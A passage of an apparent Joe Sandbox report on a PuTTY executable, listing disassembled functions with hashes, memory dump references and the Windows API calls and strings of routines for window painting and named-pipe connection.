Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef495411578315094c3b8b0b0ef82c0cbbefe29a80ec4ea727437fef7d1e84bc
Instruction ID: cfdba3acfdc19d1eead021529f3c42bf97d3d8c10db60c66d5262f695c7c1659
Opcode Fuzzy Hash: ef495411578315094c3b8b0b0ef82c0cbbefe29a80ec4ea727437fef7d1e84bc
Instruction Fuzzy Hash: 2D02D42BD3ABD695F323473E64032A6EA14AFB72C5F10D327FEC471963AF1992415218

Function 00007FF67868F9DC Relevance: .3, Instructions: 339COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6491c457c2f999092d19aac2a781b34ba13e1e847d4f134996f3fd6c7cfe067f
Instruction ID: 51a02f70a96f2eeeb926a72b319c3adaaac939e272256533b1db996086d035d9
Opcode Fuzzy Hash: 6491c457c2f999092d19aac2a781b34ba13e1e847d4f134996f3fd6c7cfe067f
Instruction Fuzzy Hash: 59D1E423A2860296EB688F35C05057F3BA1FB66B44F744136DE4D87395DF29EC42E748

Function 00007FF67868EB94 Relevance: .3, Instructions: 317COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce389f0dbad14dee4605976a16223a6dc27675f2768b1d64b873d7454b2587f6
Instruction ID: adcf21fa819004e54ee99f214c8e1f1604fd718ca4f9c24a315a5a77bdda5ed8
Opcode Fuzzy Hash: ce389f0dbad14dee4605976a16223a6dc27675f2768b1d64b873d7454b2587f6
Instruction Fuzzy Hash: 7BD1E66BD28646A6EB248B39900437F2BA1EB46B48F340135DE5C972D5CF3DEC46E748

Function 00007FF678693384 Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3586640a44890738779c2210aa53c8a3810d9f753ae1b3ee725ba0205a4a53de
Instruction ID: 9f2bc263de4d1730c713803a3453b7afd04b7cbff675da1a074c8782b13baa2b
Opcode Fuzzy Hash: 3586640a44890738779c2210aa53c8a3810d9f753ae1b3ee725ba0205a4a53de
Instruction Fuzzy Hash: 4A913633B3824256EA264F3996117BB5E80AF54798F25213DDE2EC77C0DE2CED05B608

Function 00007FF678622A80 Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: ItemMessageSend
String ID:
API String ID: 3015471070-0
Opcode ID: dce5b378301aeb93486de878a6dbbf0f258c3ad3a5b23ff118a7b10539390b69
Instruction ID: 8cf18afdc8a2b75c148b023d54242d296e9ecba174ab4bc00794e8ef4912b6f6
Opcode Fuzzy Hash: dce5b378301aeb93486de878a6dbbf0f258c3ad3a5b23ff118a7b10539390b69
Instruction Fuzzy Hash: CC91A392B3455151FE60E6329865B7B5942AF91FC4F606432CC0ECBFEACD2DE842A748

Function 00007FF67864DE20 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b088e3172ef4aa47bafa1664d58f0dba8de934b6747f9e3229532073849205f8
Instruction ID: 84853d9f8b0e263061a5b6a774a0b29345a4aab2569cdeff8929d0b9b0ec9311
Opcode Fuzzy Hash: b088e3172ef4aa47bafa1664d58f0dba8de934b6747f9e3229532073849205f8
Instruction Fuzzy Hash: 35915863E29EA055E7528E3894106AE6B50EBD2BF4F548321EF7A637C5DF38DA05D300

Function 00007FF6786A51A8 Relevance: .2, Instructions: 198COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1464a300b82f4d445202c349458bfcef681b42edd2164d84a97aa5e268fa6d8
Instruction ID: 4618b5d611238437110197e008f4c93c38a84d9b7705b8fa74676b1ad6771e06
Opcode Fuzzy Hash: c1464a300b82f4d445202c349458bfcef681b42edd2164d84a97aa5e268fa6d8
Instruction Fuzzy Hash: DA813273A2839156E774CBA9A44937B6E90FB857D4F204235DA8DC3B89DF3CE8009B05

Function 00007FF67864BB20 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64a46574fdf679952a0eee8ad8c70b303fb918f27ea6c93530dc7566e7daff06
Instruction ID: 055d0745b78eb53bf3ec4be5ffecf31ce0388778b43f7a04904af0a1813b66da
Opcode Fuzzy Hash: 64a46574fdf679952a0eee8ad8c70b303fb918f27ea6c93530dc7566e7daff06
Instruction Fuzzy Hash: C851D3236286C58AD630CB69E4403AFBB60F7AA780F548125EF9D47B46DE3CD945DB04

Function 00007FF678690A48 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a97a125e0549cbe2ad6d01ac3071c6227dfd6c840263be93129855c060f7b1e0
Instruction ID: ba28a93a674e32fe7622c296564706b1f0ce7e079a20e89b8f2ee80f68fe02e3
Opcode Fuzzy Hash: a97a125e0549cbe2ad6d01ac3071c6227dfd6c840263be93129855c060f7b1e0
Instruction Fuzzy Hash: 4B51C573A2861292E7685F38C15433E2BA1EB51B68F250139CF4D973D9CF29EC81E785

Function 00007FF678690C30 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69f41e91bb1900607b4e590bb544d0f914509903c5deb0e27407eaa9e2ed3077
Instruction ID: 62689a7c0d152188f18cb50149eb3c525d43ae6234316a4020f617381e382912
Opcode Fuzzy Hash: 69f41e91bb1900607b4e590bb544d0f914509903c5deb0e27407eaa9e2ed3077
Instruction Fuzzy Hash: 3851AF73A2861192E3689F38815433E2BA0EB44B58F350139DE0A977D9CF38EC81D789

Function 00007FF678690E18 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 643aa03c674907792788453401d857057167d95c71c3fec9667ad152b2215e57
Instruction ID: e3414752954114ffa26a308262251e720d4bc455cdc518760fc6cf6206a69263
Opcode Fuzzy Hash: 643aa03c674907792788453401d857057167d95c71c3fec9667ad152b2215e57
Instruction Fuzzy Hash: 5451CD37A2861192E7689F38D15433E2BA1EB41B58F240139DF4D977D8CF28EC81E789

Function 00007FF67864D2D0 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 804ad41689d049f1560dc765e22a098152a9bc99489f76399c77156cdfec8131
Instruction ID: ea1a1ef4afe57efcbf58f34ac05e88d98d35473abbcb4b3a00f8b98dfe89eb2b
Opcode Fuzzy Hash: 804ad41689d049f1560dc765e22a098152a9bc99489f76399c77156cdfec8131
Instruction Fuzzy Hash: 17318F92754A5446EE95C97A8B293AD26439785BF0F9CC332CF3E837D8CE7C9952C204

Function 00007FF678696144 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f12b34790bdc6bb620a2a64927610adf5e293a357984f462b3dc188a1bc07c1
Instruction ID: 5f90cfb56c06325acd406a54c145d26ac625d0d9cee1c4a50d7382565f6803ff
Opcode Fuzzy Hash: 4f12b34790bdc6bb620a2a64927610adf5e293a357984f462b3dc188a1bc07c1
Instruction Fuzzy Hash: 4A31BE33E3C34361F6B947BD815653B1D429F82344E348039C50DC2ADADD2EBC46B208

Function 00007FF67864EE10 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ecc0479743d38391acdec0cd164ba2d42e0c0390d6a42f8b18c39abee2159e97
Instruction ID: 668c70cb7d4e0aa2737bc52f00a3782cb3392b2b5cfd130e8135ce18777d8de7
Opcode Fuzzy Hash: ecc0479743d38391acdec0cd164ba2d42e0c0390d6a42f8b18c39abee2159e97
Instruction Fuzzy Hash: 4531481BB3A9A190F6B04979D13097F5A51D7C8BF0B791231CE1D93780CE69EE829304

Function 00007FF6785D1BD7 Relevance: 40.4, APIs: 21, Strings: 2, Instructions: 165windowCOMMON

Download Yara Rule

APIs

HideCaret.USER32 ref: 00007FF6785D1BDA
BeginPaint.USER32 ref: 00007FF6785D1BEB
SelectPalette.GDI32 ref: 00007FF6785D1C09
RealizePalette.GDI32 ref: 00007FF6785D1C12
CreateSolidBrush.GDI32 ref: 00007FF6785D1D3E
SelectObject.GDI32 ref: 00007FF6785D1D54
CreatePen.GDI32 ref: 00007FF6785D1D65
SelectObject.GDI32 ref: 00007FF6785D1D74
IntersectClipRect.GDI32 ref: 00007FF6785D1D9F
ExcludeClipRect.GDI32 ref: 00007FF6785D1DE2
Rectangle.GDI32 ref: 00007FF6785D1E0D
SelectObject.GDI32 ref: 00007FF6785D1E19
DeleteObject.GDI32 ref: 00007FF6785D1E26
SelectObject.GDI32 ref: 00007FF6785D1E2E
DeleteObject.GDI32 ref: 00007FF6785D1E34
GetStockObject.GDI32 ref: 00007FF6785D1E42
SelectObject.GDI32 ref: 00007FF6785D1E51
GetStockObject.GDI32 ref: 00007FF6785D1E58
SelectObject.GDI32 ref: 00007FF6785D1E60
EndPaint.USER32 ref: 00007FF6785D1E70
ShowCaret.USER32 ref: 00007FF6785D1E79

Strings

/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/window.c, xrefs: 00007FF6785D1C2C
!wintw_hdc, xrefs: 00007FF6785D1C25

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: Object$Select$CaretClipCreateDeletePaintPaletteRectStock$BeginBrushExcludeHideIntersectRealizeRectangleShowSolid
String ID: !wintw_hdc$/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/window.c
API String ID: 4109966220-2668247132
Opcode ID: 329f361bb8f13bd28862b3555d1e71d4b298ea3fec208f4ed789b3c635bb196e
Instruction ID: c779118f50d0f6ed56a19b7ba2ff6fa063f37a642641e100c5b59cc9d4f9fda9
Opcode Fuzzy Hash: 329f361bb8f13bd28862b3555d1e71d4b298ea3fec208f4ed789b3c635bb196e
Instruction Fuzzy Hash: 4371A437B2829296E724DB31B8446A67BA1FB58B94F604035CD4D83B54DE3CED45DF08

Function 00007FF67867B240 Relevance: 38.6, APIs: 13, Strings: 9, Instructions: 127filepipeCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,?,?,?,?,?,?,?,00000030,00007FF67867B48B), ref: 00007FF67867B307
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000030,00007FF67867B48B), ref: 00007FF67867B30F
WaitNamedPipeA.KERNEL32 ref: 00007FF67867B322
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000030,00007FF67867B48B), ref: 00007FF67867B329

Part of subcall function 00007FF67869B8AC: _set_error_mode.LIBCMT ref: 00007FF67869B8D3

Part of subcall function 00007FF678616F90: GetCurrentProcessId.KERNEL32 ref: 00007FF678616FD0
Part of subcall function 00007FF678616F90: OpenProcess.KERNEL32 ref: 00007FF678616FE2
Part of subcall function 00007FF678616F90: GetLastError.KERNEL32 ref: 00007FF678617033
Part of subcall function 00007FF678616F90: LocalAlloc.KERNEL32 ref: 00007FF678617058
Part of subcall function 00007FF678616F90: GetLengthSid.ADVAPI32 ref: 00007FF67861708A
Part of subcall function 00007FF678616F90: CopySid.ADVAPI32 ref: 00007FF6786170AE
Part of subcall function 00007FF678616F90: CloseHandle.KERNEL32 ref: 00007FF6786170D4
Part of subcall function 00007FF678616F90: CloseHandle.KERNEL32 ref: 00007FF6786170E4
Part of subcall function 00007FF678616F90: LocalFree.KERNEL32 ref: 00007FF6786170F2

CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000030,00007FF67867B48B), ref: 00007FF67867B38E
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000030,00007FF67867B48B), ref: 00007FF67867B394

Part of subcall function 00007FF678617AD0: FormatMessageA.KERNEL32(?,?,?,?,?,?,?,00000000,00007FF67860DCDB), ref: 00007FF678617B7B

CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000030,00007FF67867B48B), ref: 00007FF67867B3CE
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000030,00007FF67867B48B), ref: 00007FF67867B3D4
EqualSid.ADVAPI32(?,?,?,?,?,?,?,?,00000030,00007FF67867B48B), ref: 00007FF67867B420
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000030,00007FF67867B48B), ref: 00007FF67867B42F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000030,00007FF67867B48B), ref: 00007FF67867B43A
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000030,00007FF67867B48B), ref: 00007FF67867B445

Strings

/home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/named-pipe-client.c, xrefs: 00007FF67867B27F, 00007FF67867B2AB
\\.\pipe\, xrefs: 00007FF67867B262
Owner of named pipe '%s' is not us, xrefs: 00007FF67867B44B
Unable to open named pipe '%s': %s, xrefs: 00007FF67867B3B7
Error waiting for named pipe '%s': %s, xrefs: 00007FF67867B336
Unable to get named pipe security information: %s, xrefs: 00007FF67867B3A1
strncmp(pipename, "\\\\.\\pipe\\", 9) == 0, xrefs: 00007FF67867B278
strchr(pipename + 9, '\\') == NULL, xrefs: 00007FF67867B2A4
Unable to get user SID: %s, xrefs: 00007FF67867B3E1

Memory Dump Source

Source File: 0000000C.00000002.2767618747.00007FF6785D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF6785D0000, based on PE: true

Associated: 0000000C.00000002.2767592968.00007FF6785D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767723715.00007FF6786BA000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767778885.00007FF6786FD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678701000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767833752.00007FF678709000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000C.00000002.2767888943.00007FF67870D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff6785d0000_putty.jbxd

Similarity

API ID: CloseErrorHandleLast$Local$Free$Process$AllocCopyCreateCurrentEqualFileFormatLengthMessageNamedOpenPipeWait_set_error_mode
String ID: /home/simon/mem/.build/workdirs/bob-0_vdcidh/putty/windows/named-pipe-client.c$Error waiting for named pipe '%s': %s$Owner of named pipe '%s' is not us$Unable to get named pipe security information: %s$Unable to get user SID: %s$Unable to open named pipe '%s': %s$\\.\pipe\$strchr(pipename + 9, '\\') == NULL$strncmp(pipename, "\\\\.\\pipe\\", 9) == 0
API String ID: 1091246219-3978821697
Opcode ID: d677df9f2a73e2b24b901285e670e97e10afab5bd0461f87eb4ad6523a0a6656
Instruction ID: ff48aa75064390cf98ffcb0210b34f605a917afa39a75686935369c8728e484c
Opcode Fuzzy Hash: d677df9f2a73e2b24b901285e670e97e10afab5bd0461f87eb4ad6523a0a6656
Instruction Fuzzy Hash: 6F516E22A38642A1FA00AB31A85827B2F61AF957A0F744135DD1EC77D5DF3CED45A708

Function 00007FF67861AC60 Relevance: 31.6, APIs: 8, Strings: 10, Instructions: 59libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6786162C0: LoadLibraryA.KERNELBASE ref: 00007FF6786162E9

